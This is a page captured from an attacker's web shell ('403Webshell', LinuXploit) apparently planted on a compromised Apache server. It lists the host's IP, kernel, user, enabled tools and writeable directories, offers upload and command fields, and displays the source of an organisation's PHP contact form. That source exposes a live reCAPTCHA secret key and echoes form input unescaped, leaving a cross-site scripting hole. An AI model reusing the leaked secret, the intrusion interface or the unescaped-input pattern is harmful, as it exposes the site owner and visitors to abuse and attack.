403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/development/dev.americansocietyforassetprotection.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/development/dev.americansocietyforassetprotection.com/contact-us.php
<?php include_once($_SERVER['DOCUMENT_ROOT'].'/include/check_for_asapwebinar.php'); ?>
<?php
require_once $_SERVER['DOCUMENT_ROOT']."/formvalidator.php";

if(isset($_POST['Submit']))
{
	$validator = new FormValidator();
	$validator->addValidation("nam","req","Full Name");
	$validator->addValidation("eml","email","Please enter a valid email");
	$validator->addValidation("eml","req","Valid Email Address");
	$validator->addValidation("phn","req","Current Valid Phone");
	$validator->addValidation("zip","req","Zip Code");
	$validator->addValidation("mes","req","Message");
	
	if(!function_exists('PostFields')) {
		function PostFields($url,$fields)
		{
			$fields = http_build_query($fields);
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
			curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_HOST"] . $_SERVER['REQUEST_URI']);
			curl_setopt($ch, CURLOPT_URL, $url);
			curl_setopt($ch, CURLOPT_POST, 1);
			curl_setopt($ch, CURLOPT_POSTFIELDS, $fields);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
			curl_setopt($ch, CURLOPT_USERAGENT, "LCAPI cUrl Agent");
			curl_setopt($ch, CURLOPT_VERBOSE, true);
			ob_start();   
			$data = curl_exec ($ch);  
			ob_end_clean(); 
			curl_close ($ch);

			return $data;
		}
	}
	
	function is_english($str)
	{
		if (strlen($str) != strlen(utf8_decode($str))) {
			return false;
		} else {
			return true;
		}
	}
	
	$postfields = array();
	$postfields['secret'] = '6Ld6T1QUAAAAAJjW8wJBCYVuvlcXmOi6WfMBEsg1';
	$postfields['response'] = $_POST['g-recaptcha-response'];
	$postfields['remoteip'] = $_SERVER['REMOTE_ADDR'];
	$recaptcha_response = PostFields('https://www.google.com/recaptcha/api/siteverify',$postfields);
	$json_response = json_decode($recaptcha_response);
	$recaptcha_passed = false;
	if($json_response->success) {
		$recaptcha_passed = true;
	}
	$isSpam = false;
	if(!is_english($_POST['mes'])) {
		$isSpam = true;
	}
	if(strpos($_POST['mes'],'talkwithwebvisitors.com')!==false) {
		$isSpam = true;
	}
	if(strpos($_POST['mes'],'actionleadgeneration.com')!==false) {
		$isSpam = true;
	}
	if(stripos($_POST['mes'],'view a demonstration')!==false) {
		$isSpam = true;
	}
	if(stripos($_POST['mes'],'whatsapp')!==false) {
		$isSpam = true;
	}
	if(stripos($_POST['mes'],'unsubscribe')!==false) {
		$isSpam = true;
	}
	if(stripos($_POST['mes'],'salam')!==false) {
		$isSpam = true;
	}
	if(stripos($_POST['mes'],'hot girl')!==false) {
		$isSpam = true;
	}
	if(strpos($_POST['phn'],'555')===0) {
		$isSpam = true;
	}

	if($validator->ValidateForm() && $recaptcha_passed && !$isSpam)
	{
		//$to = "jeremy@synergytpsreports.com";
		$to = "support@assetspeaker.com, support@americansocietyap.org";
		//$to = "name@domain.com" . ', ';
		//$to .= "name@domain.asia";
		$headers = 'From: American Society for Asset Protection <support@assetspeaker.com>' . "\r\n";
		$co = "American Society for Asset Protection";
		$co2 = "American Society for Asset Protection <support@assetspeaker.com>";

		$nam = $_POST['nam']; 
		$eml = $_POST['eml']; 
		$phn = $_POST['phn']; 
		$sub = $_POST['sub']; 
		$add = $_POST['add']; 
		$cit = $_POST['cit']; 
		$mes = $_POST['mes'];
		$zip = $_POST['zip'];
		$dat = date("F j, Y, g:i A");

	  
		$body ="
American Society for Asset Protection - Contact Page: $dat.\n
From: $nam
E-Mail: $eml
Phone: $phn
Zip: $zip
Message: 
$mes
		"; 
  
		$body2 ="
Thank you for your interest in American Society for Asset Protection (ASAP) \n
We received your email on $dat and are processing your inquiry.\n
An ASAP representative will respond within 24-48 hours.\n\n
Below is a copy of the information we receieved.\n
From: $nam
E-Mail: $eml
Phone: $phn
Zip: $zip
Message: 
$mes\n
NOTE: DO NOT RESPOND TO THIS EMAIL.\n
Please send all email correspondence to support@americansocietyforassetprotection.com\n
		";
		include_once($_SERVER['DOCUMENT_ROOT'].'/php/mailgun.php');
		mailgun_send_message($to,'American Society for Asset Protection <support@assetspeaker.com>','American Society for Asset Protection',nl2br($body),$is_html=1,'ASAP Contact Page','','','',0,array());
		mailgun_send_message($eml,'American Society for Asset Protection <support@assetspeaker.com>','American Society for Asset Protection',nl2br($body2),$is_html=1,'ASAP Contact Page','','','',0,array());
		$output = '<p class="success"><b>THANK YOU FOR YOUR EMAIL!</b>&nbsp;&nbsp;Please allow 24-48 hours for a representative to contact you regarding your inquiry.</p>';
		$reset = 'reset';			
	} else {

		$output .= "<p class='error'>";
		$output .= "<b>SORRY -</b> We need you to input";
		$error_hash = $validator->GetErrors();
		if(!$recaptcha_passed) {
			$error_hash[] = 'Recaptcha Failed';
		}
		foreach($error_hash as $inpname => $inp_err)
		{
			$output .= ",&nbsp;&nbsp;<u>$inp_err</u>";
		}        
		$output .= "</p>";
	}
}
?>
<!doctype html>
<html class="no-js" lang="en">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Contact us | Asset Protection</title>
     <meta name="description" content="Contact us to learn about Asset Protection">
    <link rel="stylesheet" href="css/foundation.css" />
    <script src="js/vendor/modernizr.js"></script>
	<script src='https://www.google.com/recaptcha/api.js'></script>
  </head>
  <body>
 
<?php
include 'include/nav.php';
?>
 
  
  <div class="header_title">
  <div class="row">

    <div class="large-12 columns">
<div class="large-2 columns logo"><a href="index.php"><img src="img/logo_sml.png"></a></div>
      	<h1 style="title">Contact us</h1>
 	</div>
  </div>
</div>
 
 
   
 
  <div class="row">

     
    <div class="large-12 columns" role="content">
 
      <article>
  

  
        <div class="row">
          <div class="large-9 columns">
              <div class="main-article">
            <p style="padding-top: 25px;">
            <?php print $output;?>
            <form method="post" action="contact-us.php">
  <fieldset>
    <legend>Contact us</legend>
    <div style="font-size: 11px;">
    You can contact us over the phone at 800-848-9238 or through fax at 702-977-1000 or by using the form below.<br/>
    </div>
    <div class="row">
      <div class="large-12 columns">
        <label>Full Name:</label>
        <input type="text" name="nam" placeholder="eg. John Doe" value="<?= $_POST['nam'];?>">
      </div>
    </div>

 <div class="row">
      <div class="large-4 columns">
        <label>Email:</label>
        <input type="text" name="eml" placeholder="eg. john@john.com" value="<?= $_POST['eml'];?>">
      </div>
      <div class="large-4 columns">
        <label>Phone Number:</label>
        <input type="text" name="phn" placeholder="eg. xxx-xxx-xxxx" value="<?= $_POST['phn'];?>">
      </div> 
	  <div class="large-4 columns">
		<label>Zip Code:</label>
		<input type="text" name="zip" placeholder="xxxxx" value="<?= $_POST['zip'];?>" required />
	  </div>
</div>

    <div class="row">
      <div class="large-12 columns">
        <label>Message:</label>
        <textarea name="mes" placeholder="Your Message goes here" rows="8" required><?= $_POST['mes'];?></textarea>
      </div>
    </div>
	
	<div class="g-recaptcha" style="width:100px;" data-sitekey="6Ld6T1QUAAAAAPO23aR2RxMD8LetQN56wq6Tfbro"></div>
    
<div class="row">
<input style="margin: 20px 0px 0px 20px;" name="Submit" type="submit" class="button" value="Submit" />
</div>

  </fieldset>
</form>
			
			
			
			</p>

   
          
</div>
</div>
     
    <aside class="large-3 columns panel">
 
  <?php
include 'include/sidebar.php';
?>
 
    </aside>

  </div>
 </div>
 </div>
      <?php
include 'include/footer.php';
?> 
  
  </body>
</html>
    

Youez - 2016 - github.com/yon3zu
LinuXploit